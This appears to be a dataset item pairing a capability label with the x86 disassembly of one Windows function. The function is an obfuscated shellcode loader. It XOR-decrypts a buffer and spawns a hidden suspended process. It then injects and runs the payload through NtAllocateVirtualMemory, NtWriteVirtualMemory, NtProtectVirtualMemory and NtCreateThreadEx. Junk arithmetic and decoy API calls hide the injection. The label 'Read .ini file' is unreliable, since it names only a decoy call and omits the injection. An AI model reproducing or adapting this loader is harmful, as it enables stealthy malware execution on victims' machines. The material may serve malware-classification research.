Function at 0x40dcb0
Capabilities:
Read .ini file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xcc
mov eax, dword [0x431008]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov dword [ebp - 0xb8], 0
mov dword [ebp - 0xbc], 0xacc0
mov dword [ebp - 0x84], 0x7ade
mov dword [ebp - 0x78], 0xc819
mov dword [ebp - 0x7c], 0x338d
mov dword [ebp - 0x80], 0xd38a
mov eax, dword [ebp + 0xc]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [ebp - 0x94], eax
call fcn.0040d800
lea ecx, [ebp + 0x14]
push ecx
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp - 0x94]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [0x4340a4]
test eax, eax
je 0x40ec14
cmp dword [ebp + 0x14], 0
jbe 0x40ec14
mov edx, dword [ebp + 0xc]
mov dword [ebp - 8], edx
mov eax, dword [ebp - 8]
mov dword [ebp - 0x14], eax
xor ecx, ecx
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0xc0], 0
mov dword [ebp - 0xc4], 0
mov dword [ebp - 0xc8], 0
mov dword [ebp - 0xcc], 0
push 0x48
push 0
lea edx, [ebp - 0x5c]
push edx
call fcn.00415c30
add esp, 0xc
mov dword [ebp - 0x5c], 0x48
mov dword [ebp - 0x30], 0x80000
call fcn.004062e0
test eax, eax
je 0x40ddde
lea eax, [ebp - 0x70]
push eax
lea ecx, [ebp - 0x5c]
push ecx
push 0
push 0
push 0x8000000
push 0
push 0
push 0
push 0
push 4
push 0x20
push 0x431938
call fcn.0040bed0
add esp, 0xc
push eax
call dword [0x4340bc]
test eax, eax
jne 0x40dddc
xor eax, eax
jmp 0x40ec19
jmp 0x40de1a
lea edx, [ebp - 0x70]
push edx
lea eax, [ebp - 0x5c]
push eax
push 0
push 0
push 0x8000000
push 0
push 0
push 0
push 0
push 4
push 0x20
push 0x4318c0
call fcn.0040bed0
add esp, 0xc
push eax
call dword [0x4340bc]
test eax, eax
jne 0x40de1a
xor eax, eax
jmp 0x40ec19
mov ecx, dword [ebp - 0x70]
push ecx
call fcn.004144cf
add esp, 4
mov dword [ebp - 0x60], 0
push 4
push 0x1000
lea edx, [ebp - 8]
push edx
push 0
lea eax, [ebp - 0x60]
push eax
mov ecx, dword [ebp - 0x70]
push ecx
call fcn.00414533
add esp, 0x18
mov dword [ebp - 0x88], eax
mov edx, dword [ebp - 0x88]
push edx
push str.pNtAllocateVirtualMemory__d_n
call fcn.004010e0
add esp, 8
mov dword [ebp - 0x8c], 0
jmp 0x40de7f
mov eax, dword [ebp - 0x8c]
add eax, 1
mov dword [ebp - 0x8c], eax
mov ecx, dword [ebp - 0x8c]
cmp ecx, dword [ebp + 0x14]
jae 0x40eb4d
mov eax, dword [ebp - 0xb8]
xor edx, edx
div dword [ebp + 0x18]
mov eax, dword [ebp + 0x10]
movzx ecx, byte [eax + edx]
mov edx, dword [ebp - 0x94]
add edx, dword [ebp - 0x8c]
movzx eax, byte [edx]
xor eax, ecx
mov ecx, dword [ebp - 0x94]
add ecx, dword [ebp - 0x8c]
mov byte [ecx], al
mov edx, dword [ebp - 0x78]
cmp edx, dword [0x4319a4]
ja 0x40eb34
mov eax, dword [ebp - 0x7c]
cmp eax, dword [0x431a18]
jle 0x40def3
mov ecx, dword [ebp - 0x84]
cmp ecx, dword [ebp - 0x80]
jl 0x40def3
mov edx, dword [ebp - 0x84]
cmp edx, dword [ebp - 0x7c]
jl 0x40e42d
mov eax, dword [0x431a54]
mov dword [ebp - 0x98], eax
jmp 0x40df0f
mov ecx, dword [ebp - 0x98]
sub ecx, 1
mov dword [ebp - 0x98], ecx
mov edx, dword [ebp - 0x98]
cmp edx, dword [ebp - 0x80]
jg 0x40e428
mov eax, dword [ebp - 0x7c]
push eax
mov ecx, dword [ebp - 0x78]
push ecx
mov edx, dword [ebp - 0x80]
push edx
mov eax, dword [ebp - 0x78]
push eax
call fcn.00402300
add esp, 0x10
mov eax, dword [ebp - 0x84]
cdq
mov ecx, 0x83b
idiv ecx
mov ecx, eax
sub ecx, dword [ebp - 0x84]
mov eax, dword [ebp - 0x84]
cdq
idiv dword [ebp - 0x7c]
mov edx, dword [ebp - 0x80]
sub edx, eax
or ecx, edx
mov dword [ebp - 0x78], ecx
mov eax, dword [0x4319a4]
mov dword [ebp - 0x90], eax
cmp dword [ebp - 0x90], 0xa6b0
ja 0x40dfa4
cmp dword [ebp - 0x90], 0xa6b0
je 0x40dfb9
cmp dword [ebp - 0x90], 0x5593
je 0x40e001
cmp dword [ebp - 0x90], 0x8d3b
je 0x40e2a7
jmp 0x40e350
cmp dword [ebp - 0x90], 0x11230
je 0x40e1bc
jmp 0x40e350
mov ecx, dword [ebp - 0x80]
push ecx
mov edx, dword [ebp - 0x80]
push edx
call fcn.00404510
add esp, 8
mov dword [ebp - 0x84], eax
mov eax, dword [ebp - 0x80]
mov dword [ebp - 0x80], eax
mov eax, dword [ebp - 0x78]
cdq
idiv dword [ebp - 0x80]
mov dword [ebp - 0x78], eax
mov edx, dword [ebp - 0x80]
add edx, dword [ebp - 0x84]
imul ecx, dword [ebp - 0x80], 0xb5b
shl edx, cl
mov ecx, dword [ebp - 0x84]
sar edx, cl
mov dword [ebp - 0x78], edx
jmp 0x40e423
mov eax, dword [ebp - 0x7c]
push eax
mov ecx, dword [ebp - 0x80]
push ecx
call dword [sym.imp.GDI32.dll_GetCurrentObject]
mov dword [ebp - 0x78], eax
mov ecx, dword [ebp - 0x84]
imul ecx, dword [ebp - 0x7c]
mov edx, dword [ebp - 0x7c]
sar edx, cl
mov dword [0x4319f0], edx
mov eax, dword [ebp - 0x80]
cdq
idiv dword [ebp - 0x84]
mov ecx, dword [ebp - 0x84]
sub ecx, eax
and ecx, dword [ebp - 0x84]
and ecx, dword [ebp - 0x84]
mov dword [ebp - 0x7c], ecx
mov ecx, dword [ebp - 0x84]
sub ecx, dword [ebp - 0x78]
mov eax, dword [ebp - 0x78]
cdq
idiv dword [ebp - 0x84]
add ecx, edx
mov edx, dword [ebp - 0x80]
shl edx, cl
mov dword [ebp - 0x7c], edx
call dword [sym.imp.KERNEL32.dll_GetLargePageMinimum]
mov dword [ebp - 0x78], eax
mov eax, dword [ebp - 0x7c]
and eax, dword [ebp - 0x84]
mov dword [ebp - 0x84], eax
mov ecx, dword [0x431ab0]
mov dword [ebp - 0x9c], ecx
jmp 0x40e09a
mov edx, dword [ebp - 0x9c]
sub edx, 1
mov dword [ebp - 0x9c], edx
mov eax, dword [ebp - 0x9c]
cmp eax, dword [ebp - 0x78]
jle 0x40e17d
mov eax, dword [ebp - 0x7c]
cdq
idiv dword [ebp - 0x78]
mov eax, edx
cdq
mov ecx, 0x473f
idiv ecx
mov eax, edx
cdq
mov ecx, 0xd142
idiv ecx
add eax, dword [ebp - 0x78]
or eax, dword [ebp - 0x7c]
mov dword [ebp - 0x7c], eax
mov dword [ebp - 0x84], 0x16120
mov eax, dword [ebp - 0x7c]
cdq
idiv dword [ebp - 0x84]
imul edx, dword [ebp - 0x78]
add edx, 0xb1f9
mov dword [ebp - 0x84], edx
mov edx, dword [ebp - 0x80]
push edx
mov eax, dword [ebp - 0x80]
push eax
mov ecx, dword [ebp - 0x80]
push ecx
mov edx, dword [ebp - 0x78]
push edx
call dword [sym.imp.GDI32.dll_SetWindowOrgEx]
mov dword [ebp - 0x7c], eax
push str.scabby_mx98aAR_k_JIigsmL_:txMV_easterners_QCEkc_A_nUaRd1
call fcn.004010e0
add esp, 4
mov eax, dword [ebp - 0x7c]
mov dword [ebp - 0x78], eax
mov ecx, dword [ebp - 0x7c]
imul ecx, dword [ebp - 0x84]
sub ecx, 0xd33a
sub ecx, dword [ebp - 0x78]
sub ecx, dword [ebp - 0x80]
or ecx, dword [ebp - 0x78]
mov dword [ebp - 0x7c], ecx
mov edx, dword [ebp - 0x7c]
add edx, dword [ebp - 0x80]
mov ecx, dword [ebp - 0x84]
add ecx, dword [ebp - 0x78]
sar edx, cl
mov dword [ebp - 0x78], edx
mov eax, dword [ebp - 0x80]
push eax
mov ecx, dword [ebp - 0x78]
push ecx
mov edx, dword [ebp - 0x80]
push edx
call fcn.00403500
add esp, 0xc
mov eax, dword [ebp - 0x78]
mov dword [ebp - 0x7c], eax
imul ecx, dword [ebp - 0x80], 0xa149
imul ecx, dword [ebp - 0x84]
mov dword [ebp - 0x80], ecx
jmp 0x40e08b
mov edx, dword [ebp - 0x84]
cmp edx, dword [0x431a18]
jl 0x40e07d
mov ecx, 0x1f8af
sub ecx, dword [ebp - 0x80]
mov eax, dword [ebp - 0x84]
cdq
mov esi, 0x174a3
idiv esi
add ecx, edx
mov dword [ebp - 0x84], ecx
mov edx, dword [0x431984]
cmp edx, dword [ebp - 0x7c]
jge 0x40e065
mov eax, dword [ebp - 0x80]
mov dword [ebp - 0xa0], eax
jmp 0x40e1d6
mov ecx, dword [ebp - 0xa0]
sub ecx, 1
mov dword [ebp - 0xa0], ecx
mov edx, dword [ebp - 0xa0]
cmp edx, dword [0x4319a4]
je 0x40e2a2
mov eax, dword [ebp - 0x7c]
add eax, dword [ebp - 0x80]
mov ecx, dword [ebp - 0x78]
sub ecx, dword [ebp - 0x7c]
and eax, ecx
mov dword [0x431984], eax
mov edx, dword [0x431984]
mov dword [ebp - 0xa4], edx
jmp 0x40e218
mov eax, dword [ebp - 0xa4]
sub eax, 1
mov dword [ebp - 0xa4], eax
mov ecx, dword [ebp - 0xa4]
cmp ecx, dword [ebp - 0x7c]
jne 0x40e29d
mov edx, dword [ebp - 0x78]
push edx
mov eax, dword [ebp - 0x78]
push eax
call dword [sym.imp.UxTheme.dll_OpenThemeData]
cmp eax, dword [0x431a50]
jb 0x40e298
mov eax, dword [ebp - 0x84]
imul eax, dword [ebp - 0x84]
cdq
mov ecx, 0x100e7
idiv ecx
mov eax, edx
cdq
idiv dword [ebp - 0x7c]
mov dword [ebp - 0x78], edx
mov edx, dword [ebp - 0x7c]
mov ecx, dword [ebp - 0x78]
shl edx, cl
mov ecx, dword [ebp - 0x84]
sar edx, cl
imul eax, dword [ebp - 0x78], 0x5e72
mov ecx, 0x174f4
sub ecx, eax
or edx, ecx
mov dword [ebp - 0x84], edx
mov eax, dword [ebp - 0x80]
cdq
idiv dword [ebp - 0x80]
mov eax, edx
cdq
idiv dword [ebp - 0x78]
add eax, dword [ebp - 0x7c]
add eax, dword [ebp - 0x78]
mov ecx, dword [ebp - 0x80]
sar eax, cl
mov dword [ebp - 0x78], eax
jmp 0x40e209
jmp 0x40e1c7
jmp 0x40e423
mov edx, dword [ebp - 0x80]
push edx
mov eax, dword [ebp - 0x80]
push eax
mov ecx, dword [ebp - 0x78]
push ecx
mov edx, dword [ebp - 0x78]
push edx
call fcn.004028e0
add esp, 0x10
mov eax, dword [ebp - 0x7c]
add eax, 0x19003
imul ecx, dword [ebp - 0x84], 0x121cd
or eax, ecx
or eax, 0x767d
mov dword [ebp - 0x84], eax
mov edx, dword [ebp - 0x78]
add edx, 0x7c06
mov dword [ebp - 0x7c], edx
mov eax, dword [ebp - 0x80]
push eax
mov ecx, dword [ebp - 0x84]
push ecx
mov edx, dword [ebp - 0x7c]
push edx
call dword [sym.imp.COMCTL32.dll_MakeDragList]
mov dword [ebp - 0x7c], eax
imul eax, dword [ebp - 0x80], 0x120ea
sub eax, dword [ebp - 0x7c]
mov dword [ebp - 0x84], eax
mov ecx, dword [ebp - 0x7c]
push ecx
mov edx, dword [ebp - 0x7c]
push edx
mov eax, dword [ebp - 0x84]
push eax
mov ecx, dword [ebp - 0x78]
push ecx
call fcn.00401120
add esp, 0x10
mov ecx, dword [ebp - 0x78]
sub ecx, dword [ebp - 0x80]
add ecx, dword [ebp - 0x7c]
sub ecx, dword [ebp - 0x78]
mov eax, dword [ebp - 0x84]
cdq
idiv dword [ebp - 0x7c]
sub ecx, eax
mov dword [ebp - 0x84], ecx
jmp 0x40e423
mov edx, dword [ebp - 0x80]
push edx
mov eax, dword [ebp - 0x84]
push eax
mov ecx, dword [ebp - 0x84]
push ecx
mov edx, dword [ebp - 0x80]
push edx
call fcn.00403ba0
add esp, 0x10
mov eax, 0xfdb6
mov ecx, dword [ebp - 0x7c]
shl eax, cl
mov dword [ebp - 0x78], eax
mov ecx, dword [ebp - 0x7c]
mov dword [ebp - 0x84], ecx
mov edx, dword [ebp - 0x7c]
add edx, dword [ebp - 0x84]
mov eax, dword [ebp - 0x78]
imul eax, dword [ebp - 0x7c]
sub edx, eax
mov dword [ebp - 0x80], edx
mov ecx, dword [ebp - 0x80]
push ecx
mov edx, dword [ebp - 0x7c]
push edx
mov eax, dword [ebp - 0x84]
push eax
mov ecx, dword [ebp - 0x78]
push ecx
call fcn.00401120
add esp, 0x10
mov edx, dword [ebp - 0x80]
add edx, 0xca0d
mov dword [ebp - 0x7c], edx
imul eax, dword [ebp - 0x84], 0x5418
imul eax, dword [ebp - 0x80]
cdq
idiv dword [ebp - 0x78]
add edx, dword [ebp - 0x7c]
mov dword [ebp - 0x80], edx
imul eax, dword [ebp - 0x84], 0x3c84
cdq
idiv dword [ebp - 0x7c]
mov ecx, dword [ebp - 0x84]
sub ecx, eax
mov dword [ebp - 0x78], ecx
mov eax, dword [ebp - 0x7c]
cdq
idiv dword [ebp - 0x78]
mov ecx, edx
mov eax, dword [ebp - 0x80]
cdq
idiv dword [ebp - 0x84]
add ecx, eax
and ecx, dword [ebp - 0x84]
or ecx, dword [ebp - 0x80]
mov dword [ebp - 0x78], ecx
mov eax, dword [ebp - 0x80]
cdq
mov ecx, 0x1472c
idiv ecx
add edx, dword [ebp - 0x80]
mov dword [ebp - 0x7c], edx
jmp 0x40df00
jmp 0x40eb34
mov edx, dword [ebp - 0x7c]
cmp edx, dword [ebp - 0x80]
jge 0x40eb34
mov eax, dword [0x4319f0]
cmp eax, dword [ebp - 0x78]
je 0x40e4f4
mov ecx, dword [ebp - 0x80]
cmp ecx, dword [ebp - 0x84]
je 0x40e4f4
mov edx, dword [ebp - 0x80]
cmp edx, dword [ebp - 0x78]
jg 0x40e4f4
mov eax, dword [0x431a50]
mov dword [ebp - 0xa8], eax
jmp 0x40e47e
mov ecx, dword [ebp - 0xa8]
sub ecx, 1
mov dword [ebp - 0xa8], ecx
mov edx, dword [ebp - 0xa8]
cmp edx, dword [ebp - 0x78]
jge 0x40e4ef
mov eax, dword [ebp - 0x78]
push eax
mov ecx, dword [ebp - 0x78]
push ecx
mov edx, dword [ebp - 0x84]
push edx
call fcn.00403470
add esp, 0xc
mov eax, dword [ebp - 0x7c]
and eax, dword [ebp - 0x7c]
mov edx, dword [ebp - 0x7c]
mov ecx, dword [ebp - 0x78]
sar edx, cl
or eax, edx
mov ecx, dword [ebp - 0x78]
add ecx, dword [ebp - 0x84]
or eax, ecx
mov dword [ebp - 0x78], eax
mov edx, dword [ebp - 0x7c]
mov dword [ebp - 0x7c], edx
mov eax, dword [ebp - 0x84]
mov dword [ebp - 0x78], eax
mov eax, dword [ebp - 0x78]
cdq
idiv dword [ebp - 0x7c]
mov esi, eax
sub esi, dword [ebp - 0x78]
mov eax, dword [ebp - 0x7c]
cdq
idiv dword [ebp - 0x84]
sub esi, edx
mov ecx, dword [ebp - 0x78]
shl esi, cl
mov dword [ebp - 0x78], esi
jmp 0x40e46f
jmp 0x40eb22
mov ecx, dword [ebp - 0x7c]
cmp ecx, dword [ebp - 0x80]
jle 0x40e514
mov edx, dword [ebp - 0x80]
cmp edx, dword [ebp - 0x80]
jge 0x40ea04
mov eax, dword [ebp - 0x78]
cmp eax, dword [ebp - 0x7c]
je 0x40ea04
mov ecx, dword [ebp - 0x80]
cmp ecx, dword [0x431a18]
jl 0x40e9ff
mov edx, dword [0x431a18]
cmp edx, dword [ebp - 0x78]
jne 0x40e5d9
mov eax, dword [ebp - 0x7c]
cmp eax, dword [0x4319f0]
ja 0x40e5d9
mov ecx, dword [ebp - 0x78]
cmp ecx, dword [0x431a50]
jl 0x40e5d9
mov edx, dword [ebp - 0x84]
push edx
mov eax, dword [ebp - 0x80]
push eax
mov ecx, dword [ebp - 0x84]
push ecx
mov edx, dword [ebp - 0x78]
push edx
call fcn.004028e0
add esp, 0x10
mov ecx, dword [ebp - 0x84]
imul ecx, dword [ebp - 0x84]
imul ecx, dword [ebp - 0x78]
add ecx, dword [ebp - 0x7c]
mov eax, dword [ebp - 0x84]
cdq
mov esi, 0x13c4d
idiv esi
sub ecx, eax
mov dword [ebp - 0x7c], ecx
mov edx, dword [ebp - 0x80]
sub edx, 0x164cd
mov ecx, dword [ebp - 0x80]
add ecx, dword [ebp - 0x84]
add ecx, dword [ebp - 0x78]
sar edx, cl
mov dword [ebp - 0x84], edx
mov eax, dword [ebp - 0x84]
sub eax, dword [ebp - 0x84]
add eax, dword [ebp - 0x7c]
add eax, dword [ebp - 0x78]
sub eax, dword [ebp - 0x80]
mov dword [ebp - 0x78], eax
mov eax, dword [ebp - 0x78]
cdq
idiv dword [ebp - 0x7c]
mov dword [ebp - 0x7c], edx
jmp 0x40e9fa
mov ecx, dword [ebp - 0x80]
push ecx
mov edx, dword [ebp - 0x78]
push edx
mov eax, dword [ebp - 0x7c]
push eax
push 0x60ecf
call dword [sym.imp.GDI32.dll_AddFontMemResourceEx]
mov esi, eax
mov ecx, dword [ebp - 0x78]
push ecx
mov edx, dword [ebp - 0x78]
push edx
call fcn.00405c80
add esp, 8
cmp esi, eax
jbe 0x40e9fa
mov eax, dword [ebp - 0x80]
push eax
mov ecx, dword [ebp - 0x84]
push ecx
mov edx, dword [ebp - 0x80]
push edx
call fcn.004041d0
add esp, 0xc
cmp eax, dword [ebp - 0x84]
jae 0x40e9fa
mov eax, dword [ebp - 0x78]
cmp eax, dword [ebp - 0x7c]
jne 0x40e9fa
imul ecx, dword [ebp - 0x78], 0xd6e6
add ecx, 0x9e24
mov dword [ebp - 0x78], ecx
mov edx, dword [0x4319a4]
mov dword [ebp - 0xac], edx
cmp dword [ebp - 0xac], 0x60e
je 0x40e686
cmp dword [ebp - 0xac], 0x4116
je 0x40e8bd
cmp dword [ebp - 0xac], 0x1019a
je 0x40e7d6
jmp 0x40e9fa
mov eax, dword [0x4319a4]
mov dword [ebp - 0xb0], eax
jmp 0x40e6a2
mov ecx, dword [ebp - 0xb0]
add ecx, 1
mov dword [ebp - 0xb0], ecx
mov edx, dword [ebp - 0xb0]
cmp edx, dword [ebp - 0x7c]
jle 0x40e7d1
mov eax, dword [0x4319a0]
cmp eax, dword [ebp - 0x7c]
jge 0x40e6c9
mov ecx, dword [0x431a50]
cmp ecx, dword [ebp - 0x84]
jle 0x40e738
mov edx, dword [ebp - 0x7c]
mov dword [ebp - 0x78], edx
imul esi, dword [ebp - 0x80], 0x5c20
mov eax, 0x1650d
cdq
idiv dword [ebp - 0x80]
mov eax, edx
cdq
idiv dword [ebp - 0x80]
mov ecx, 0x14055
sub ecx, edx
shl esi, cl
mov dword [ebp - 0x7c], esi
mov eax, dword [ebp - 0x78]
add eax, dword [ebp - 0x80]
mov dword [ebp - 0x84], eax
mov ecx, dword [ebp - 0x7c]
add ecx, dword [ebp - 0x78]
sub ecx, dword [ebp - 0x84]
mov dword [ebp - 0x78], ecx
mov edx, dword [ebp - 0x78]
and edx, dword [ebp - 0x78]
mov dword [ebp - 0x78], edx
mov eax, dword [ebp - 0x78]
mov dword [ebp - 0x84], eax
mov ecx, dword [ebp - 0x84]
push ecx
call fcn.00403b50
add esp, 4
mov edx, dword [ebp - 0x78]
mov dword [0x431984], edx
jmp 0x40e79f
mov eax, dword [ebp - 0x78]
push eax
mov ecx, dword [ebp - 0x78]
push ecx
mov edx, dword [ebp - 0x7c]
push edx
mov eax, dword [ebp - 0x7c]
push eax
call dword [sym.imp.GDI32.dll_EnumObjects]
mov dword [ebp - 0x80], eax
imul ecx, dword [ebp - 0x84], 0x16cb
mov edx, dword [ebp - 0x78]
sub edx, ecx
sub edx, dword [ebp - 0x78]
mov dword [ebp - 0x80], edx
imul eax, dword [ebp - 0x80], 0x15938
imul ecx, eax, 0x14e5f
mov edx, dword [ebp - 0x78]
sub edx, ecx
mov ecx, 0x54d4
sub ecx, dword [ebp - 0x78]
shl edx, cl
mov dword [ebp - 0x80], edx
mov eax, dword [ebp - 0x84]
push eax
mov ecx, dword [ebp - 0x7c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
mov dword [ebp - 0x78], eax
mov edx, dword [ebp - 0x78]
mov dword [ebp - 0x80], edx
mov eax, dword [ebp - 0x80]
cmp eax, dword [0x431a50]
jge 0x40e6b1
push str.pvO___TZm_foams
call fcn.004010e0
add esp, 4
mov eax, dword [ebp - 0x78]
cdq
idiv dword [ebp - 0x7c]
mov edx, dword [ebp - 0x78]
mov ecx, eax
sar edx, cl
mov dword [ebp - 0x80], edx
jmp 0x40e693
jmp 0x40e9fa
mov eax, dword [ebp - 0x84]
add eax, 0x2bacd565
sub eax, dword [ebp - 0x80]
mov dword [ebp - 0x80], eax
mov edx, dword [ebp - 0x78]
imul edx, dword [ebp - 0x84]
mov ecx, dword [ebp - 0x84]
sar edx, cl
and edx, dword [ebp - 0x84]
mov dword [ebp - 0x78], edx
mov eax, dword [ebp - 0x84]
imul eax, dword [ebp - 0x7c]
add eax, dword [ebp - 0x7c]
mov ecx, dword [ebp - 0x7c]
add ecx, 0x12f3e
and eax, ecx
mov dword [ebp - 0x84], eax
mov edx, dword [ebp - 0x84]
imul edx, dword [ebp - 0x78]
add edx, dword [ebp - 0x7c]
mov eax, dword [ebp - 0x7c]
sub eax, dword [ebp - 0x78]
and edx, eax
mov dword [ebp - 0x84], edx
mov eax, dword [ebp - 0x78]
cdq
mov ecx, 0x1d57
idiv ecx
mov ecx, dword [ebp - 0x80]
add ecx, dword [ebp - 0x78]
add ecx, dword [ebp - 0x78]
sar edx, cl
mov dword [ebp - 0x80], edx
mov edx, dword [ebp - 0x78]
sub edx, 0xc159
imul eax, dword [ebp - 0x7c], 0x3935
sub edx, eax
mov dword [ebp - 0x7c], edx
mov ecx, 0xd906
sub ecx, dword [ebp - 0x80]
sub ecx, dword [ebp - 0x80]
sub ecx, dword [ebp - 0x78]
mov dword [ebp - 0x80], ecx
mov eax, dword [ebp - 0x78]
cdq
idiv dword [ebp - 0x78]
imul eax, dword [ebp - 0x78]
add eax, dword [ebp - 0x80]
imul edx, dword [ebp - 0x7c], 0xa43d
sub eax, edx
mov dword [ebp - 0x84], eax
mov eax, dword [ebp - 0x80]
mov dword [ebp - 0x7c], eax
mov ecx, dword [ebp - 0x84]
push ecx
call fcn.00405bc0
add esp, 4
mov dword [ebp - 0x78], eax
mov edx, dword [ebp - 0x78]
mov dword [ebp - 0x84], edx
jmp 0x40e9fa
mov eax, dword [ebp - 0x78]
imul eax, dword [ebp - 0x80]
mov ecx, dword [ebp - 0x78]
sub ecx, eax
mov dword [0x431ab0], ecx
imul edx, dword [ebp - 0x7c], 0x9c88
add edx, dword [ebp - 0x80]
mov eax, dword [ebp - 0x84]
imul eax, dword [ebp - 0x78]
add edx, eax
mov dword [ebp - 0x80], edx
mov ecx, dword [ebp - 0x84]
imul ecx, dword [ebp - 0x80]
mov eax, 0x167cf
cdq
idiv dword [ebp - 0x78]
sub ecx, edx
mov dword [ebp - 0x78], ecx
mov edx, dword [ebp - 0x80]
push edx
push 0x35969
call dword [sym.imp.KERNEL32.dll_LocalFileTimeToFileTime]
mov dword [ebp - 0x7c], eax
mov eax, dword [ebp - 0x78]
imul eax, dword [ebp - 0x84]
imul eax, dword [ebp - 0x84]
add eax, dword [ebp - 0x7c]
mov ecx, dword [ebp - 0x84]
shl eax, cl
or eax, dword [ebp - 0x78]
mov dword [ebp - 0x84], eax
push 0xb5e7a
mov ecx, dword [ebp - 0x78]
push ecx
call dword [sym.imp.ole32.dll_RegisterDragDrop]
mov dword [ebp - 0x80], eax
mov eax, dword [ebp - 0x7c]
cdq
idiv dword [ebp - 0x7c]
mov eax, edx
cdq
mov ecx, 0xd7a5
idiv ecx
cdq
idiv dword [ebp - 0x80]
mov dword [ebp - 0x84], edx
mov eax, 1
cdq
idiv dword [ebp - 0x78]
sub edx, dword [ebp - 0x78]
sub edx, 0x2188
mov dword [0x431ab0], edx
mov edx, dword [ebp - 0x84]
add edx, 0xa961
mov dword [ebp - 0x80], edx
mov eax, dword [ebp - 0x80]
imul eax, dword [ebp - 0x7c]
cdq
idiv dword [ebp - 0x80]
mov eax, dword [ebp - 0x80]
imul eax, dword [ebp - 0x7c]
imul ecx, eax, 0xa67a
and edx, ecx
mov dword [ebp - 0x7c], edx
mov eax, dword [ebp - 0x80]
cdq
idiv dword [ebp - 0x78]
mov edx, dword [ebp - 0x78]
sub edx, eax
add edx, dword [ebp - 0x84]
mov dword [ebp - 0x7c], edx
push 0
mov eax, dword [ebp - 0x84]
push eax
mov ecx, dword [ebp - 0x7c]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntA]
mov dword [ebp - 0x84], eax
mov edx, dword [ebp - 0x80]
sub edx, dword [ebp - 0x78]
sub edx, dword [ebp - 0x7c]
or edx, dword [ebp - 0x7c]
mov dword [0x4319f0], edx
mov eax, dword [ebp - 0x7c]
cdq
idiv dword [ebp - 0x84]
add eax, dword [ebp - 0x7c]
mov dword [ebp - 0x7c], eax
jmp 0x40e514
jmp 0x40eb22
mov eax, dword [ebp - 0x78]
mov dword [ebp - 0xb4], eax
jmp 0x40ea1e
mov ecx, dword [ebp - 0xb4]
sub ecx, 1
mov dword [ebp - 0xb4], ecx
mov edx, dword [ebp - 0xb4]
cmp edx, dword [0x4319f0]
jb 0x40eae7
mov eax, dword [ebp - 0x84]
cdq
idiv dword [ebp - 0x78]
mov ecx, edx
mov eax, dword [ebp - 0x7c]
cdq
mov esi, 0x4ce
idiv esi
mov eax, edx
cdq
idiv dword [ebp - 0x78]
add ecx, edx
mov dword [ebp - 0x80], ecx
mov edx, dword [ebp - 0x7c]
mov dword [0x431a18], edx
mov eax, dword [ebp - 0x78]
cdq
idiv dword [ebp - 0x80]
cdq
idiv dword [ebp - 0x80]
mov eax, dword [ebp - 0x84]
sub eax, edx
mov dword [ebp - 0x78], eax
mov ecx, dword [ebp - 0x84]
push ecx
mov edx, dword [ebp - 0x7c]
push edx
call fcn.00402480
add esp, 8
mov eax, dword [ebp - 0x80]
cdq
idiv dword [ebp - 0x7c]
add edx, dword [ebp - 0x84]
mov dword [ebp - 0x7c], edx
mov eax, dword [ebp - 0x80]
cdq
idiv dword [ebp - 0x78]
mov dword [ebp - 0x7c], eax
mov eax, dword [ebp - 0x80]
push eax
mov ecx, dword [ebp - 0x80]
push ecx
mov edx, dword [ebp - 0x84]
push edx
push 0x5f844
mov eax, dword [ebp - 0x84]
push eax
call dword [sym.imp.UxTheme.dll_GetThemeColor]
mov dword [ebp - 0x7c], eax
imul eax, dword [ebp - 0x7c], 0x10dd6
cdq
idiv dword [ebp - 0x80]
mov ecx, eax
mov eax, dword [ebp - 0x78]
cdq
mov esi, 0x2ea6
idiv esi
add ecx, edx
mov dword [0x4319a0], ecx
jmp 0x40ea0f
mov edx, dword [0x431a50]
cmp edx, dword [ebp - 0x7c]
jle 0x40ea04
mov eax, dword [0x431984]
cmp eax, dword [ebp - 0x7c]
jle 0x40ea04
mov ecx, dword [ebp - 0x80]
cmp ecx, dword [0x431ab0]
jae 0x40ea04
mov edx, dword [ebp - 0x7c]
cmp edx, dword [0x431a54]
jge 0x40ea04
mov eax, dword [ebp - 0x84]
cmp eax, dword [0x431a54]
jge 0x40e439
mov eax, dword [ebp - 0xb8]
add eax, 1
xor edx, edx
div dword [ebp + 0x18]
mov dword [ebp - 0xb8], edx
jmp 0x40de70
push 0
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ebp - 0x94]
push edx
mov eax, dword [ebp - 0x60]
push eax
mov ecx, dword [ebp - 0x70]
push ecx
call fcn.0041453d
add esp, 0x14
mov dword [ebp - 0x88], eax
mov edx, dword [ebp - 0x88]
push edx
push str.pNtWriteVirtualMemory__d_n
call fcn.004010e0
add esp, 8
lea eax, [ebp - 0xc]
push eax
push 0x20
lea ecx, [ebp - 8]
push ecx
lea edx, [ebp - 0x60]
push edx
mov eax, dword [ebp - 0x70]
push eax
call fcn.00414529
add esp, 0x14
mov dword [ebp - 0x88], eax
mov ecx, dword [ebp - 0x88]
push ecx
push str.pNtProtectVirtualMemory__d_n
call fcn.004010e0
add esp, 8
push 0
push 0
push 0
push 0
push 0
push 0
mov edx, dword [ebp - 0x60]
push edx
mov eax, dword [ebp - 0x70]
push eax
push 0
push 0x20000000
lea ecx, [ebp - 0x74]
push ecx
call fcn.00414547
add esp, 0x2c
mov dword [ebp - 0x88], eax
mov edx, dword [ebp - 0x88]
push edx
push str.pNtCreateThreadEx__d_n
call fcn.004010e0
add esp, 8
mov eax, dword [ebp - 0x94]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x40dd15
mov eax, 1
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00414551
mov esp, ebp
pop ebp
ret